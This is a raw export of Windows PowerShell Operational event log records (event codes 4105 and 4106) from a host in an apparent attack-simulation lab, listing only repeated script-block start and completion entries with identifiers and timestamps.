ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033889
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033883
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033861
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033859
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033858
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033845
Keywords=None
